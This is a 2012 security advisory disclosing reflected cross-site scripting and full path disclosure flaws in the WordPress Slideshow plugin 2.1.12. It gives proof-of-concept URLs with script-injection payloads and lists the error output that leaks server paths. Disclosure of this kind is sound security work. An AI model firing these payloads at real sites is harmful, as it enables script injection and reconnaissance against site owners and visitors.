WordPress Slideshow 2.1.12 Cross Site Scripting / Path Disclosure

`[waraxe-2012-SA#092] - Multiple Vulnerabilities in Wordpress Slideshow Plugin  
===============================================================================  
  
Author: Janek Vind "waraxe"  
Date: 17. October 2012  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-92.html  
  
  
Description of vulnerable target:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Slideshow provides an easy way to integrate a slideshow for any WordPress  
installation.  
  
Any image can be loaded into the slideshow by picking it from the WordPress  
media page, even images you've already uploaded can be inserted into your  
slideshow right away!  
  
http://wordpress.org/extend/plugins/slideshow-jquery-image-gallery/  
  
Affected version: 2.1.12  
  
###############################################################################  
1. Reflected XSS in "views/SlideshowPlugin/slideshow.php"  
###############################################################################  
  
Reasons:   
1. Uninitialized variables "$randomId", "$slides" and "$settings"  
2. Improper encoding or escaping of output  
Attack vectors: User-supplied parameters "randomId", "slides" and "settings"  
Preconditions: PHP directive register_globals=on  
  
  
Tests:  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId="><script>alert(123);</script>  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=<script>alert(123);</script>  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?settings=<body+onload='alert(123)'>  
  
  
###############################################################################  
2. Reflected XSS in "views/SlideshowPluginPostType/settings.php"  
###############################################################################  
  
Reasons:   
1. Uninitialized variables "$settings" and "$inputFields"  
2. Improper encoding or escaping of output  
Attack vectors: User-supplied parameters "settings" and "inputFields"  
Preconditions: PHP directive register_globals=on  
  
  
Tests:  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=<script>alert(123);</script>  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[0][]&inputFields[0]=<script>alert(123);</script>  
  
  
###############################################################################  
3. Reflected XSS in "views/SlideshowPluginPostType/style-settings.php"  
###############################################################################  
  
Reasons:   
1. Uninitialized variables "$settings" and "$inputFields"  
2. Improper encoding or escaping of output  
Attack vectors: User-supplied parameters "settings" and "inputFields"  
Preconditions: PHP directive register_globals=on  
  
  
Tests:  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0][3]=<script>alert(123);</script>  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=<script>alert(123);</script>  
  
  
###############################################################################  
4. Full Path Disclosure in multiple scripts  
###############################################################################  
  
Reasons: Direct request to php script triggers pathname leak in error message  
Preconditions: PHP directive display_errors=on  
Result: Information Exposure Through an Error Message  
  
Tests:  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/slideshow.php  
  
Fatal error: Call to undefined function add_action() in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\slideshow.php on line 34  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/classes/SlideshowPluginWidget.php  
  
Fatal error: Class 'WP_Widget' not found in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\classes\SlideshowPluginWidget.php on line 8  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php  
  
Fatal error: Class 'SlideshowPluginMain' not found in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPlugin\slideshow.php on line 111  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/information.php  
  
Fatal error: Call to undefined function _e() in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\information.php on line 1  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php  
  
Warning: Invalid argument supplied for foreach() in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\settings.php on line 3  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/slides.php  
  
Fatal error: Class 'SlideshowPluginSlideInserter' not found in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\slides.php on line 3  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php  
  
Warning: Invalid argument supplied for foreach() in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\style-settings.php on line 2  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/support-plugin.php  
  
Fatal error: Call to undefined function _e() in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\support-plugin.php on line 3  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-image-button.php  
  
Fatal error: Call to undefined function _e() in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-image-button.php on line 1  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-text-button.php  
  
Fatal error: Call to undefined function _e() in   
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-text-button.php on line 1  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-video-button.php  
  
Fatal error: Call to undefined function _e() in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-video-button.php on line 1  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/search-popup.php  
  
Fatal error: Call to undefined function submit_button() in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\search-popup.php on line 6  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginUpload/upload-button.php  
  
Fatal error: Call to undefined function _e() in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginUpload\upload-button.php on line 1  
  
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginWidget/form.php  
  
Fatal error: Using $this when not in object context in  
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginWidget\form.php on line 2  
  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://albumnow.com/  
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